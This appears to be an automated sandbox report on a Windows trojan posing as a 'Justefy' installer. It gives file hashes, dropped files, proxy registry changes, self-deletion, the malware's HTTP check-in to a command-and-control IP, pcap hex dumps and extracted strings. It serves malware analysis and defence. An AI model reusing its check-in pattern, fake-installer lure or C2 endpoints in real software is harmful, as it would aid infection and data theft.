Analysis Date2015-05-19 22:20:46
MD5c9465e2bf56fdf2abe03434fff669154
SHA1fb89d82a2300446ebb60c163b48294d151b2328e

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: e71d086a45363df72304f96ddeea28d1 sha1: 03c7ad8e3705b81ae3a451f786d390c27aaa7114 size: 6144
Section.rdata md5: 2989792553ae44d00fdd00e5fd15c4b9 sha1: 8c5e82afa852e33af58ee010370fb924e0b05337 size: 4096
Section.data md5: 9cc00e3dc7ddd683ce36aff172cea8c8 sha1: 6745b17844ff16b4bf6fac160dd75b4ddff32044 size: 2048
Section.rsrc md5: fdfb83bffbfcede556de10a1b19d7035 sha1: 15a2236459ff2daf6f9699705aa82388ee2c39d5 size: 19968
Timestamp2013-03-19 13:59:35
PackerMicrosoft Visual C 2.0
PEhashf0254163396cc975a66ac694a20d074f92c8815b
IMPhash012c63bb5f7f1ff21471f621b5d79f47

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\Xulantar.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\InstallXul.tmp
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\Xulantar.exe

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Temp\Xulantar.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\icanhazip[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Deletes FileC:\malware.exe
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Winsock DNS216.245.211.242
Winsock DNS91.211.17.201
Winsock DNS80.250.7.219
Winsock DNS91.245.19.13
Winsock DNS46.167.215.35
Winsock DNSicanhazip.com

Network Details:

DNSicanhazip.com
Type: A
166.78.246.145
DNSicanhazip.com
Type: A
104.130.28.231
DNSicanhazip.com
Type: A
23.253.254.67
HTTP GEThttp://icanhazip.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
HTTP GEThttp://91.211.17.201:13395/KAT22/COMPUTER-XXXXXX/0/51-SP3/0/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Flows TCP192.168.1.1:1031 ➝ 166.78.246.145:80
Flows TCP192.168.1.1:1032 ➝ 91.211.17.201:13395
Flows TCP192.168.1.1:1033 ➝ 46.167.215.35:443
Flows TCP192.168.1.1:1034 ➝ 46.167.215.35:443
Flows TCP192.168.1.1:1035 ➝ 46.167.215.35:443
Flows TCP192.168.1.1:1036 ➝ 46.167.215.35:443
Flows TCP192.168.1.1:1037 ➝ 91.245.19.13:443
Flows TCP192.168.1.1:1038 ➝ 91.245.19.13:443
Flows TCP192.168.1.1:1039 ➝ 91.245.19.13:443
Flows TCP192.168.1.1:1040 ➝ 91.245.19.13:443
Flows TCP192.168.1.1:1041 ➝ 80.250.7.219:443
Flows TCP192.168.1.1:1042 ➝ 80.250.7.219:443
Flows TCP192.168.1.1:1043 ➝ 80.250.7.219:443
Flows TCP192.168.1.1:1044 ➝ 80.250.7.219:443
Flows TCP192.168.1.1:1045 ➝ 216.245.211.242:443
Flows TCP192.168.1.1:1046 ➝ 216.245.211.242:443
Flows TCP192.168.1.1:1047 ➝ 216.245.211.242:443
Flows TCP192.168.1.1:1048 ➝ 216.245.211.242:443

Raw Pcap
0x00000000 (00000)   47455420 2f204854 54502f31 2e310d0a   GET / HTTP/1.1..
0x00000010 (00016)   41636365 70743a20 74657874 2f2a2c20   Accept: text/*, 
0x00000020 (00032)   6170706c 69636174 696f6e2f 2a0d0a55   application/*..U
0x00000030 (00048)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000040 (00064)   6c612f35 2e302028 57696e64 6f777320   la/5.0 (Windows 
0x00000050 (00080)   4e542036 2e313b20 574f5736 343b2072   NT 6.1; WOW64; r
0x00000060 (00096)   763a3336 2e302920 4765636b 6f2f3230   v:36.0) Gecko/20
0x00000070 (00112)   31303031 30312046 69726566 6f782f33   100101 Firefox/3
0x00000080 (00128)   362e300d 0a486f73 743a2069 63616e68   6.0..Host: icanh
0x00000090 (00144)   617a6970 2e636f6d 0d0a4361 6368652d   azip.com..Cache-
0x000000a0 (00160)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x000000b0 (00176)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f4b4154 32322f43 4f4d5055   GET /KAT22/COMPU
0x00000010 (00016)   5445522d 58585858 58582f30 2f35312d   TER-XXXXXX/0/51-
0x00000020 (00032)   5350332f 302f2048 5454502f 312e310d   SP3/0/ HTTP/1.1.
0x00000030 (00048)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000040 (00064)   696c6c61 2f352e30 20285769 6e646f77   illa/5.0 (Window
0x00000050 (00080)   73204e54 20362e31 3b20574f 5736343b   s NT 6.1; WOW64;
0x00000060 (00096)   2072763a 33362e30 29204765 636b6f2f    rv:36.0) Gecko/
0x00000070 (00112)   32303130 30313031 20466972 65666f78   20100101 Firefox
0x00000080 (00128)   2f33362e 300d0a48 6f73743a 2039312e   /36.0..Host: 91.
0x00000090 (00144)   3231312e 31372e32 30313a31 33333935   211.17.201:13395
0x000000a0 (00160)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x000000b0 (00176)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.


Strings

Button1
Button2
Dina-download ang Justefy... Nabigong i-download ang Justefy.
Downloading Justefy...
Ini-extract ang Justefy...)Dina-download ang nilalaman ng partner...
Installer ng Justefy
@jjj
Justefy
Kasalukuyang nag-i-installdHindi pa kumpletong nai-install ang Justefy. Sigurado ka bang gusto mong kanselahin ang pag-install?
MessageBoxLabel
msctls_progress32
MS Shell Dlg
Nabigong i-extract ang Justefy.
                />
 &"+&'!
-/,!.-
-$"/ &-
.-,' /
.%+.!-
'%)- %
")((!)
)&(")$
$"%$$,
& &%.%
&&)+.!.
#//*,'%(
#%""+(
+/,#'(.
+#$(*-
,0#)!+
.+*,0-$'
*," 0 
&0.+*,
#0.,)"")
0'/.#.,
'#+"0&(%.0
#0	+-0
0!'# `0@
0#+0$*
+&++(+)1
	/+2#,3
. -3!-
3%0&331.
3&*2#(
9HkHQi
_acmdln_dll
</assembly>
<assemblyIdentity
                <assemblyIdentity
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
button
Cancel
_commode_dll
CreateWindowExA
CRTDLL.dll
@.data
DefWindowProcA
</dependency>
<dependency>
        </dependentAssembly>
        <dependentAssembly>
<description>Justefy</description>
DestroyWindow
DialogBoxParamA
DispatchMessageA
EndDialog
ExtractIconA
_fmode_dll
GetLastError
GetLocalTime
__GetMainArgs
GetMessageA
GetModuleFileNameA
GetModuleHandleA
GetStartupInfoA
_global_unwind2
I3a~_r
_initterm
InterlockedDecrement
InterlockedIncrement
jdhpM@
Jh1/-;
KERNEL32.dll
                        language="*"
listbox
LoadCursorA
LoadIconA
LoadLibraryA
LoadStringA
_local_unwind2
lstrcpyA
      <ms_asmv3:requestedExecutionLevel level="asInvoker" uiAccess="false" />
    </ms_asmv3:requestedPrivileges>
    <ms_asmv3:requestedPrivileges>
  </ms_asmv3:security>
  <ms_asmv3:security>
</ms_asmv3:trustInfo>
<ms_asmv3:trustInfo xmlns:ms_asmv3="urn:schemas-microsoft-com:asm.v3">
NameFile:
        name="Justefy"
                        name="Microsoft.Windows.Common-Controls"
newfile
]\{oPb
PathAddExtensionW
PathGetDriveNumberW
PathIsRelativeW
PostMessageA
PostQuitMessage
p'RichW
                        processorArchitecture="*"
        processorArchitecture="*"
                        publicKeyToken="6595b64144ccf1df"
`.rdata
RegisterClassExA
riched32.dll
richedit
SendMessageA
SetFocus
SHELL32.dll
SHLWAPI.dll
SleepEx
static
STATIC
!This program cannot be run in DOS mode.
TranslateMessage
                        type="win32"
        type="win32"
USER32.dll
VC20XC00U
        version="1.0.0.0"
                        version="6.0.0.0"
WClass1
WindowA
_XcptFilter
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>